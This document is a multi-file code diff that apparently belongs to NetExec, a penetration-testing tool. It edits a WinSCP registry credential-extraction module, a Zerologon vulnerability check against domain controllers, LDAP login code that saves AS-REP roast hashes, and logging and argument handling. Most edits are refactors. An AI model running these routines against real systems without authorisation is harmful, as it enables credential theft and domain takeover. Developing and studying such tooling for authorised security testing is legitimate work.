+            ans = rrp.hBaseRegOpenKey(
+                remote_ops._RemoteOperations__rrp,
+                reg_handle,
+                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
+            )
+            key_handle = ans["phkResult"]
+
             use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
-        except DCERPCException as e:
-            if str(e).find("ERROR_FILE_NOT_FOUND"):
-                context.log.debug("Security configuration registry not found, no master passwords set at all.")
-            else:
-                context.log.exception(e)
         finally:
             remote_ops.finish()
         return use_master_password
@@ -260,7 +309,7 @@ class NXCModule:
     def registry_discover(self, context, connection):
         context.log.display("Looking for WinSCP creds in Registry...")
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
@@ -272,29 +321,39 @@ class NXCModule:
             unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
             self.load_missing_users(context, connection, unloaded_user_objects)
 
-            # Retrieve how many sessions are stored in registry from each user_object
+            # Retrieve how many sessions are stored in registry from each UserObject
             ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
             reg_handle = ans["phKey"]
-            for user_object in all_user_objects:
+            for userObject in all_user_objects:
                 try:
-                    key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
-                    sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
+                    ans = rrp.hBaseRegOpenKey(
+                        remote_ops._RemoteOperations__rrp,
+                        reg_handle,
+                        userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
+                    )
+                    key_handle = ans["phkResult"]
+
+                    data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
+                    sessions = data["lpcSubKeys"]
+                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
 
                     # Get Session Names
                     session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
                     rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
                     session_names.remove("Default%20Settings")
 
-                    if self.check_masterpassword_set(context, connection, user_object):
+                    if self.check_masterpassword_set(connection, userObject):
                         context.log.fail("MasterPassword set! Aborting extraction...")
                         continue
                     # Extract stored Session infos
                     for sessionName in session_names:
-                        self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
+                        self.print_creds(
+                            context,
+                            self.registry_session_extractor(context, connection, userObject, sessionName),
+                        )
                 except DCERPCException as e:
                     if str(e).find("ERROR_FILE_NOT_FOUND"):
-                        context.log.debug(f"No WinSCP config found in registry for user {user_object}")
+                        context.log.debug(f"No WinSCP config found in registry for user {userObject}")
                 except Exception as e:
                     context.log.fail(f"Unexpected error: {e}")
                     context.log.debug(traceback.format_exc())

nxc/modules/zerologon.py

@@ -26,7 +26,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         self.context = context
-        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
+        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
             self.context.log.highlight("VULNERABLE")
             self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
             try:
@@ -43,15 +43,13 @@ class NXCModule:
             except Exception:
                 self.context.log.debug("Error updating zerologon status in database")
 
-    def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
+    def perform_attack(self, dc_handle, dc_ip, target_computer):
         # Keep authenticating until successful. Expected average number of attempts needed: 256.
         self.context.log.debug("Performing authentication attempts...")
         rpc_con = None
         try:
-            binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
-            rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
-            rpc_con_.setRemoteHost(remoteHost)
-            rpc_con = rpc_con_.get_dce_rpc()
+            binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
+            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
             rpc_con.connect()
             rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
             for _attempt in range(MAX_ATTEMPTS):

nxc/netexec.py

@@ -21,10 +21,9 @@ import os
 from os.path import exists
 from os.path import join as path_join
 from sys import exit
+import logging
 from rich.progress import Progress
 import platform
-if sys.stdout.encoding == "cp1252":
-    sys.stdout.reconfigure(encoding="utf-8")
 
 # Increase file_limit to prevent error "Too many open files"
 if platform.system() != "Windows":
@@ -43,11 +42,11 @@ async def start_run(protocol_obj, args, db, targets):
     futures = []
     nxc_logger.debug("Creating ThreadPoolExecutor")
     if args.no_progress or len(targets) == 1:
-        with ThreadPoolExecutor(max_workers=args.threads) as executor:
+        with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
             nxc_logger.debug(f"Creating thread for {protocol_obj}")
             futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
     else:
-        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
+        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
             current = 0
             total = len(targets)
             tasks = progress.add_task(
@@ -68,8 +67,20 @@ async def start_run(protocol_obj, args, db, targets):
 
 def main():
     first_run_setup(nxc_logger)
+    root_logger = logging.getLogger("root")
     args = gen_cli_args()
 
+    if args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.DEBUG)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+    logging.getLogger("neo4j").setLevel(logging.ERROR)
+
     # if these are the same, it might double log to file (two FileHandlers will be added)
     # but this should never happen by accident
     if config_log:
@@ -77,8 +88,8 @@ def main():
     if hasattr(args, "log") and args.log:
         nxc_logger.add_file_log(args.log)
 
-    nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
-    nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
+    nxc_logger.debug("PYTHON VERSION: " + sys.version)
+    nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
     nxc_logger.debug(f"Passed args: {args}")
 
     # FROM HERE ON A PROTOCOL IS REQUIRED
@@ -141,8 +152,7 @@ def main():
     nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
 
     protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
-    nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
-    nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
+    nxc_logger.debug(f"Protocol Object: {protocol_object}")
     protocol_db_object = p_loader.load_protocol(protocol_db_path).database
     nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
 
@@ -175,15 +185,13 @@ def main():
             nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
         exit(0)
     elif args.module:
-        # Check the modules for sanity before loading the protocol
-        nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
-        proto_module_paths = []
-        for m in args.module:
+        nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
+        for m in map(str.lower, args.module):
             if m not in modules:
                 nxc_logger.error(f"Module not found: {m}")
                 exit(1)
 
-            nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
+            nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
             module = loader.init_module(modules[m]["path"])
 
             if not module.opsec_safe:
@@ -191,12 +199,22 @@ def main():
                     nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
                     nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
                 else:
-                    ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
+                    ans = input(
+                        highlight(
+                            "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
+                            "red",
+                        )
+                    )
                     if ans.lower() not in ["y", "yes", ""]:
                         exit(1)
 
             if not module.multiple_hosts and len(targets) > 1:
-                ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
+                ans = input(
+                    highlight(
+                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
+                        "red",
+                    )
+                )
                 if ans.lower() not in ["y", "yes", ""]:
                     exit(1)
 
@@ -207,18 +225,24 @@ def main():
                 if not args.server_port:
                     args.server_port = server_port_dict[args.server]
 
-            # Add modules paths to the protocol object so it can load them itself
-            proto_module_paths.append(modules[m]["path"])
-        protocol_object.module_paths = proto_module_paths
+            nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
+            nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
+            # get currently set modules, otherwise default to empty list
+            current_modules = getattr(protocol_object, "module", [])
+            current_modules.append(module)
+            protocol_object.module = current_modules
+            nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
 
     if hasattr(args, "ntds") and args.ntds and not args.userntds:
-        ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
+        ans = input(
+            highlight(
+                "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
+                "red",
+            )
+        )
         if ans.lower() not in ["y", "yes", ""]:
             exit(1)
 
-    if args.jitter and len(targets) > 1:
-        nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
-
     try:
         asyncio.run(start_run(protocol_object, args, db, targets))
     except KeyboardInterrupt:

nxc/parsers/ldap_results.py

@@ -1,13 +0,0 @@
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-def parse_result_attributes(ldap_response):
-    parsed_response = []
-    for entry in ldap_response:
-        # SearchResultReferences may be returned
-        if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
-            continue
-        attribute_map = {}
-        for attribute in entry["attributes"]:
-            attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
-        parsed_response.append(attribute_map)
-    return parsed_response

nxc/paths.py

@@ -3,12 +3,11 @@ import sys
 import nxc
 
 NXC_PATH = os.path.expanduser("~/.nxc")
+TMP_PATH = os.path.join("/tmp", "nxc_hosted")
 if os.name == "nt":
     TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
-elif hasattr(sys, "getandroidapilevel"):
+if hasattr(sys, "getandroidapilevel"):
     TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
-else:
-    TMP_PATH = os.path.join("/tmp", "nxc_hosted")
 
 CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
 CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")

nxc/protocols/ftp/database.py

@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table, select, delete, func
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -74,7 +74,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -86,7 +86,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/ftp/proto_args.py

@@ -1,12 +1,9 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
+def proto_args(parser, std_parser, module_parser):
+    ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
+    ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
 
-
-def proto_args(parser, parents):
-    ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
-    ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
-
-    cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
-    cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
-    cgroup.add_argument("--get", metavar="FILE", help="Download a file")
-    cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
+    cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
+    cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
+    cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
+    cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
     return parser

nxc/protocols/ldap.py

@@ -5,7 +5,7 @@ import hmac
 import os
 import socket
 from binascii import hexlify
-from datetime import datetime, timedelta
+from datetime import datetime
 from re import sub, I
 from zipfile import ZipFile
 from termcolor import colored
@@ -28,7 +28,6 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
 from impacket.krb5.types import Principal, KerberosException
 from impacket.ldap import ldap as ldap_impacket
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
-from impacket.ldap.ldap import LDAPFilterSyntaxError
 from impacket.smb import SMB_DIALECT
 from impacket.smbconnection import SMBConnection, SessionError
 
@@ -39,7 +38,6 @@ from nxc.logger import NXCAdapter, nxc_logger
 from nxc.protocols.ldap.bloodhound import BloodHound
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.protocols.ldap.kerberos import KerberosAttacks
-from nxc.parsers.ldap_results import parse_result_attributes
 
 ldap_error_status = {
     "1": "STATUS_NOT_SUPPORTED",
@@ -167,7 +165,7 @@ class ldap(connection):
             ldap_url = f"{proto}://{host}"
             self.logger.info(f"Connecting to {ldap_url} with no baseDN")
             try:
-                ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
+                ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
                 if ldap_connection:
                     self.logger.debug(f"ldap_connection: {ldap_connection}")
             except SysCallError as e:
@@ -214,7 +212,6 @@ class ldap(connection):
         try:
             string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
             transport = DCERPCTransportFactory(string_binding)
-            transport.setRemoteHost(self.host)
             transport.set_connect_timeout(5)
             dce = transport.get_dce_rpc()
             if self.args.kerberos:
@@ -254,10 +251,11 @@ class ldap(connection):
     def enum_host_info(self):
         self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
         self.hostname = self.target
-        self.remoteName = self.target
         self.domain = self.targetDomain
         # smb no open, specify the domain
-        if not self.args.no_smb:
+        if self.args.no_smb:
+            self.domain = self.args.domain
+        else:
             self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
 
             try:
@@ -268,8 +266,8 @@ class ldap(connection):
                 if "STATUS_NOT_SUPPORTED" in str(e):
                     self.no_ntlm = True
             if not self.no_ntlm:
+                self.domain = self.conn.getServerDNSDomainName()
                 self.hostname = self.conn.getServerName()
-                self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
             self.server_os = self.conn.getServerOS()
             self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
             self.os_arch = self.get_os_arch()
@@ -277,11 +275,6 @@ class ldap(connection):
 
             if not self.domain:
                 self.domain = self.hostname
-            if self.args.domain:
-                self.domain = self.args.domain
-            if self.args.local_auth:
-                self.domain = self.hostname
-            self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
             try:  # noqa: SIM105
                 # DC's seem to want us to logoff first, windows workstations sometimes reset the connection
@@ -289,32 +282,40 @@ class ldap(connection):
             except Exception:
                 pass
 
+            if self.args.domain:
+                self.domain = self.args.domain
+            if self.args.local_auth:
+                self.domain = self.hostname
+
             # Re-connect since we logged off
             self.create_conn_obj()
-
-        if not self.kdcHost and self.domain:
-            result = self.resolver(self.domain)
-            self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
-
-        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
+        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
     def print_host_info(self):
         self.logger.debug("Printing host info for LDAP")
         if self.args.no_smb:
-            self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
-            self.logger.extra["port"] = self.port
-            self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
+            self.logger.extra["protocol"] = "LDAP"
+            self.logger.extra["port"] = "389"
+            self.logger.display(f"Connecting to LDAP {self.hostname}")
         else:
             self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
             self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
             signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
             smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
+            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
             self.logger.extra["protocol"] = "LDAP"
         return True
 
-    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+    def kerberos_login(
+        self,
+        domain,
+        username,
+        password="",
+        ntlm_hash="",
+        aesKey="",
+        kdcHost="",
+        useCache=False,
+    ):
         self.username = username
         self.password = password
         self.domain = domain
@@ -341,27 +342,40 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(f"{hash_tgt}\n")
+                    hash_asreproast.write(hash_tgt + "\n")
             return False
 
         kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
 
         try:
             # Connect to LDAP
-            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
-            self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
+            self.ldapConnection.kerberosLogin(
+                username,
+                password,
+                domain,
+                self.lmhash,
+                self.nthash,
+                aesKey,
+                kdcHost=kdcHost,
+                useCache=useCache,
+            )
+
             if self.username == "":
                 self.username = self.get_ldap_username()
 
             self.check_if_admin()
 
             used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
+            out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
+
+
+            self.logger.extra["protocol"] = "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
+            self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -394,19 +408,31 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
-                    self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
+                    self.ldapConnection.kerberosLogin(
+                        username,
+                        password,
+                        domain,
+                        self.lmhash,
+                        self.nthash,
+                        aesKey,
+                        kdcHost=kdcHost,
+                        useCache=useCache,
+                    )
+
                     if self.username == "":
                         self.username = self.get_ldap_username()
 
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
+                    out = f"{domain}\\{self.username} {self.mark_pwned()}"
+
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
+                    self.logger.success(out)
 
                     if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -445,22 +471,24 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(f"{hash_tgt}\n")
+                    hash_asreproast.write(hash_tgt + "\n")
             return False
 
         try:
             # Connect to LDAP
-            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
+            self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
-            self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
+            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+
+            self.logger.extra["protocol"] = "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
+            self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -472,16 +500,23 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
-                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
+                    self.ldapConnection.login(
+                        self.username,
+                        self.password,
+                        self.domain,
+                        self.lmhash,
+                        self.nthash,
+                    )
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
+                    out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
+                    self.logger.success(out)
 
                     if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -494,15 +529,12 @@ class ldap(connection):
                         f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
-                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
                     f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
-                if proto == "ldaps":
-                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
             self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -534,22 +566,22 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(f"{hash_tgt}\n")
+                    hash_asreproast.write(hash_tgt + "\n")
             return False
 
         try:
             # Connect to LDAP
-            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldaps_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
-            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
+            self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
             out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
+            self.logger.extra["protocol"] = "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
@@ -561,16 +593,22 @@ class ldap(connection):
             if str(e).find("strongerAuthRequired") >= 0:
                 try:
                     # We need to try SSL
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
                     ldaps_url = f"{proto}://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
-                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
+                    self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
+                    self.ldapConnection.login(
+                        self.username,
+                        self.password,
+                        self.domain,
+                        self.lmhash,
+                        self.nthash,
+                    )
                     self.check_if_admin()
 
                     # Prepare success credential text
                     out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     self.logger.success(out)
 
                     if not self.args.local_auth and self.username != "":
@@ -584,15 +622,12 @@ class ldap(connection):
                         f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
-                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
                     f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
-                if proto == "ldaps":
-                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
